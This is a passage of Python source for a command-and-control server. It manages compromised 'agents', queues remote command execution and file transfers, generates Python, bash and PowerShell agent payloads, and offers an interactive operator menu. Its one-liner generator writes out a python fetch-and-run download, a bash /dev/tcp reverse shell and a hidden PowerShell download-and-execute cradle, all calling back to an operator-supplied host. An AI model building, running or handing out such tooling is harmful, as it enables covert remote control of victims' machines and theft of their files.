                        task.result = {'error': str(e)}

                agent.last_seen = datetime.now(timezone.utc).isoformat()

        except Exception:
            pass
        finally:
            conn.close()
            # Mark agent as stale if no longer connected
            for aid, sock in list(self._agent_sockets.items()):
                if sock is conn:
                    self._agent_sockets.pop(aid, None)
                    if aid in self._agents:
                        self._agents[aid].status = 'stale'

    def _get_pending_tasks(self, agent_id: str) -> List[Task]:
        task_ids = self._agent_tasks.get(agent_id, [])
        return [self._tasks[tid] for tid in task_ids
                if tid in self._tasks and self._tasks[tid].status == 'pending']

    # ── Agent Management ──────────────────────────────────────────────────

    def list_agents(self) -> List[dict]:
        agents = []
        for a in self._agents.values():
            # Check if still connected
            connected = a.id in self._agent_sockets
            agents.append({
                'id': a.id, 'os': a.os, 'hostname': a.hostname,
                'user': a.user, 'pid': a.pid, 'arch': a.arch,
                'remote_addr': a.remote_addr,
                'first_seen': a.first_seen, 'last_seen': a.last_seen,
                'status': 'active' if connected else a.status,
            })
        return agents

    def remove_agent(self, agent_id: str) -> dict:
        if agent_id in self._agent_sockets:
            try:
                self._agent_sockets[agent_id].close()
            except Exception:
                pass
            del self._agent_sockets[agent_id]
        self._agents.pop(agent_id, None)
        self._agent_tasks.pop(agent_id, None)
        return {'ok': True}

    # ── Task Queue ────────────────────────────────────────────────────────

    def queue_task(self, agent_id: str, task_type: str,
                   data: dict = None) -> dict:
        """Queue a task for an agent."""
        if agent_id not in self._agents:
            return {'ok': False, 'error': 'Agent not found'}

        task_id = secrets.token_hex(4)
        task = Task(
            id=task_id,
            agent_id=agent_id,
            type=task_type,
            data=data or {},
            created_at=datetime.now(timezone.utc).isoformat(),
        )
        self._tasks[task_id] = task
        if agent_id not in self._agent_tasks:
            self._agent_tasks[agent_id] = []
        self._agent_tasks[agent_id].append(task_id)

        return {'ok': True, 'task_id': task_id}

    def execute_command(self, agent_id: str, command: str) -> dict:
        """Shortcut to queue an exec task."""
        return self.queue_task(agent_id, 'exec', {'command': command})

    def download_file(self, agent_id: str, remote_path: str) -> dict:
        return self.queue_task(agent_id, 'download', {'path': remote_path})

    def upload_file(self, agent_id: str, remote_path: str,
                    file_data: bytes) -> dict:
        encoded = base64.b64encode(file_data).decode()
        return self.queue_task(agent_id, 'upload',
                               {'path': remote_path, 'data': encoded})

    def get_task_result(self, task_id: str) -> dict:
        task = self._tasks.get(task_id)
        if not task:
            return {'ok': False, 'error': 'Task not found'}
        return {
            'ok': True,
            'task_id': task.id,
            'status': task.status,
            'result': task.result,
            'created_at': task.created_at,
            'completed_at': task.completed_at,
        }

    def list_tasks(self, agent_id: str = '') -> List[dict]:
        tasks = []
        for t in self._tasks.values():
            if agent_id and t.agent_id != agent_id:
                continue
            tasks.append({
                'id': t.id, 'agent_id': t.agent_id, 'type': t.type,
                'status': t.status, 'created_at': t.created_at,
                'completed_at': t.completed_at,
                'has_result': t.result is not None,
            })
        return tasks

    # ── Agent Generation ──────────────────────────────────────────────────

    def generate_agent(self, host: str, port: int = 4444,
                       agent_type: str = 'python',
                       interval: int = 5, jitter: int = 2) -> dict:
        """Generate a C2 agent payload."""
        agent_id = secrets.token_hex(4)

        if agent_type == 'python':
            code = PYTHON_AGENT_TEMPLATE.format(
                host=host, port=port, interval=interval,
                jitter=jitter, agent_id=agent_id)
        elif agent_type == 'bash':
            code = BASH_AGENT_TEMPLATE.format(
                host=host, port=port, interval=interval,
                agent_id=agent_id)
        elif agent_type == 'powershell':
            code = POWERSHELL_AGENT_TEMPLATE.format(
                host=host, port=port, interval=interval,
                agent_id=agent_id)
        else:
            return {'ok': False, 'error': f'Unknown agent type: {agent_type}'}

        # Save to file
        ext = {'python': 'py', 'bash': 'sh', 'powershell': 'ps1'}[agent_type]
        filename = f'agent_{agent_id}.{ext}'
        filepath = os.path.join(self._data_dir, filename)
        with open(filepath, 'w') as f:
            f.write(code)

        return {
            'ok': True,
            'agent_id': agent_id,
            'filename': filename,
            'filepath': filepath,
            'code': code,
            'type': agent_type,
        }

    # ── One-liners ────────────────────────────────────────────────────────

    def get_oneliner(self, host: str, port: int = 4444,
                     agent_type: str = 'python') -> dict:
        """Generate a one-liner to deploy the agent."""
        if agent_type == 'python':
            liner = (f"python3 -c \"import urllib.request,os,tempfile;"
                     f"f=tempfile.NamedTemporaryFile(suffix='.py',delete=False);"
                     f"f.write(urllib.request.urlopen('http://{host}:{port+1}/agent.py').read());"
                     f"f.close();os.system('python3 '+f.name+' &')\"")
        elif agent_type == 'bash':
            liner = f"bash -c 'bash -i >& /dev/tcp/{host}/{port} 0>&1 &'"
        elif agent_type == 'powershell':
            liner = (f"powershell -nop -w hidden -c "
                     f"\"IEX(New-Object Net.WebClient).DownloadString"
                     f"('http://{host}:{port+1}/agent.ps1')\"")
        else:
            return {'ok': False, 'error': 'Unknown type'}

        return {'ok': True, 'oneliner': liner, 'type': agent_type}

# ── Singleton ─────────────────────────────────────────────────────────────────

_instance = None
_lock = threading.Lock()

def get_c2_server() -> C2Server:
    global _instance
    if _instance is None:
        with _lock:
            if _instance is None:
                _instance = C2Server()
    return _instance

# ── CLI ───────────────────────────────────────────────────────────────────────

def run():
    """Interactive CLI for C2 Framework."""
    svc = get_c2_server()

    while True:
        print("\n╔═══════════════════════════════════════╗")
        print("║       C2 FRAMEWORK                    ║")
        print("╠═══════════════════════════════════════╣")
        print("║  1 — Start Listener                   ║")
        print("║  2 — Stop Listener                    ║")
        print("║  3 — List Agents                      ║")
        print("║  4 — Interact with Agent              ║")
        print("║  5 — Generate Agent Payload           ║")
        print("║  6 — Get One-Liner                    ║")
        print("║  0 — Back                             ║")
        print("╚═══════════════════════════════════════╝")

        choice = input("\n  Select: ").strip()

        if choice == '0':
            break
        elif choice == '1':
            name = input("  Listener name: ").strip() or 'default'
            port = int(input("  Port (4444): ").strip() or '4444')
            r = svc.start_listener(name, port=port)
            print(f"  {r.get('message', r.get('error', ''))}")
        elif choice == '2':
            listeners = svc.list_listeners()
            if not listeners:
                print("  No listeners.")
                continue
            for l in listeners:
                print(f"  {l['name']} — {l['host']}:{l['port']} ({l['connections']} connections)")
            name = input("  Stop which: ").strip()
            if name:
                r = svc.stop_listener(name)
                print(f"  {r.get('message', r.get('error', ''))}")
        elif choice == '3':
            agents = svc.list_agents()
            if not agents:
                print("  No agents.")
                continue
            for a in agents:
                print(f"  [{a['status']:6s}] {a['id']} — {a['user']}@{a['hostname']} "
                      f"({a['os']}) from {a['remote_addr']}")
        elif choice == '4':
            aid = input("  Agent ID: ").strip()
            if not aid:
                continue
            print(f"  Interacting with {aid} (type 'exit' to return)")
            while True:
                cmd = input(f"  [{aid}]> ").strip()
                if cmd in ('exit', 'quit', ''):
                    break
                r = svc.execute_command(aid, cmd)
                if not r.get('ok'):
                    print(f"  Error: {r.get('error')}")
                    continue
                # Poll for result
                for _ in range(30):
                    time.sleep(1)
                    result = svc.get_task_result(r['task_id'])
                    if result.get('status') in ('completed', 'failed'):
                        if result.get('result'):
                            out = result['result'].get('stdout', '')
                            err = result['result'].get('stderr', '')
                            if out:
                                print(out)
                            if err:
                                print(f"  [stderr] {err}")
                        break
                else:
                    print("  [timeout] No response within 30s")
        elif choice == '5':
            host = input("  Callback host: ").strip()
            port = int(input("  Callback port (4444): ").strip() or '4444')
            atype = input("  Type (python/bash/powershell): ").strip() or 'python'
            r = svc.generate_agent(host, port, atype)
            if r.get('ok'):
                print(f"  Agent saved to: {r['filepath']}")
            else:
                print(f"  Error: {r.get('error')}")
        elif choice == '6':
            host = input("  Host: ").strip()
            port = int(input("  Port (4444): ").strip() or '4444')
            atype = input("  Type (python/bash/powershell): ").strip() or 'python'
            r = svc.get_oneliner(host, port, atype)
            if r.get('ok'):
                print(f"\n  {r['oneliner']}\n")